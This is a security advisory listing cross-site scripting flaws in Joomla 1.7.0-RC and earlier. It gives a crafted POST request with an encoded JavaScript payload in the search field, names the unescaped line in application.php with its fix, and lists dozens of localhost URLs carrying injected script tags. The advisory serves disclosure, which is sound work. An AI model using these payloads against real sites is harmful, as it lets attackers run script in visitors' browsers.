Joomla! 1.7.0-RC and lower | Multiple Cross Site Scripting (XSS) Vulnerabilities

                                                component: com_search, parameter: searchword (Browser: IE, Konqueror)
=====================================================================
N.B. Our previous reported issue (1.6.3) of "searchword" parameter XSS
was not fixed completely.


[REQUEST]
POST /joomla164_noseo/index.php HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: MSIE 8.0
Connection: close
Referer: http://localhost/joomla164_noseo/
Content-Type: application/x-www-form-urlencoded
Content-Length: 456


task=search&Itemid=435&searchword=Search';onunload=function(){x=confirm(String.fromCha \
rCode(89,111,117,39,118,101,32,103,111,116,32,97,32,109,101,115,115,97,103,101,32,102, \
114,111,109,32,65,100,109,105,110,105,115,116,114,97,116,111,114,33,10,68,111,32,121,1 \
11,117,32,119,97,110,116,32,116,111,32,103,111,32,116,111,32,73,110,98,111,120,63));al \
ert(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,88,83,83,33));};//xsss \
ssssssss&option=com_search [/REQUEST]


XSS in Request URI
====================
File: ./includes/application.php
Line: 176, 181
Code: $document->setBase(JURI::current());  // instead of
$document->setBase(htmlspecialchars(JURI::current()));


http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-com \
ponent/new-feed-categories/'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/content-compon \
ent/article-category-list/24-joomla'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/search-compone \
nt/search/'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-compon \
ent/contact-categories/'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/site-map/contacts/'"><script>alert(/XSS/)</script \
>

http://localhost/joomla164/index.php/component/banners/click/3'"><script>alert(/XSS/)< \
/script>

http://localhost/joomla164/index.php/fruit-encyclopedia/'"><script>alert(/XSS/)</scrip \
t>

http://localhost/joomla164/index.php/fruit-encyclopedia/38-a'"><script>alert(/XSS/)</s \
cript>

http://localhost/joomla164/index.php/fruit-encyclopedia/39-b'"><script>alert(/XSS/)</s \
cript>

http://localhost/joomla164/index.php/fruit-encyclopedia/57-t'"><script>alert(/XSS/)</s \
cript>

http://localhost/joomla164/index.php/growers/23-happy-orange-orchard'"><script>alert(/ \
XSS/)</script>

http://localhost/joomla164/index.php/image-gallery/animals/25-koala'"><script>alert(/X \
SS/)</script>

http://localhost/joomla164/index.php/image-gallery/scenery/64-blue-mountain-rain-fores \
t'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/image-gallery/scenery/65-ormiston-pound'"><script \
>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-compon \
ent/contact-categories/34-park-site/'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-compon \
ent/contact-categories/34-park-site/2-webmaster'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-compon \
ent/contact-categories/35-shop-site/'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-compon \
ent/contact-categories/35-shop-site/8-shop-address'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/content-compon \
ent/archived-articles/9-uncategorised'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/content-compon \
ent/archived-articles/9-uncategorised/'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/content-compon \
ent/archived-articles/9-uncategorised/67-whats-new-in-15'"><script>alert(/XSS/)</scrip \
t>

http://localhost/joomla164/index.php/using-joomla/extensions/components/content-compon \
ent/article-categories/26-park-site'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/content-compon \
ent/article-categories/29-fruit-shop-site'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/content-compon \
ent/article-category-list/20-extensions'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/content-compon \
ent/article-category-list/24-joomla'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-com \
ponent/news-feed-category/'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-com \
ponent/news-feed-category/1-joomla-announcements'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-com \
ponent/news-feed-category/2-new-joomla-extensions'"><script>alert(/XSS/)</script>


http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-com \
ponent/news-feed-category/3-joomla-security-news'"><script>alert(/XSS/)</script>

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++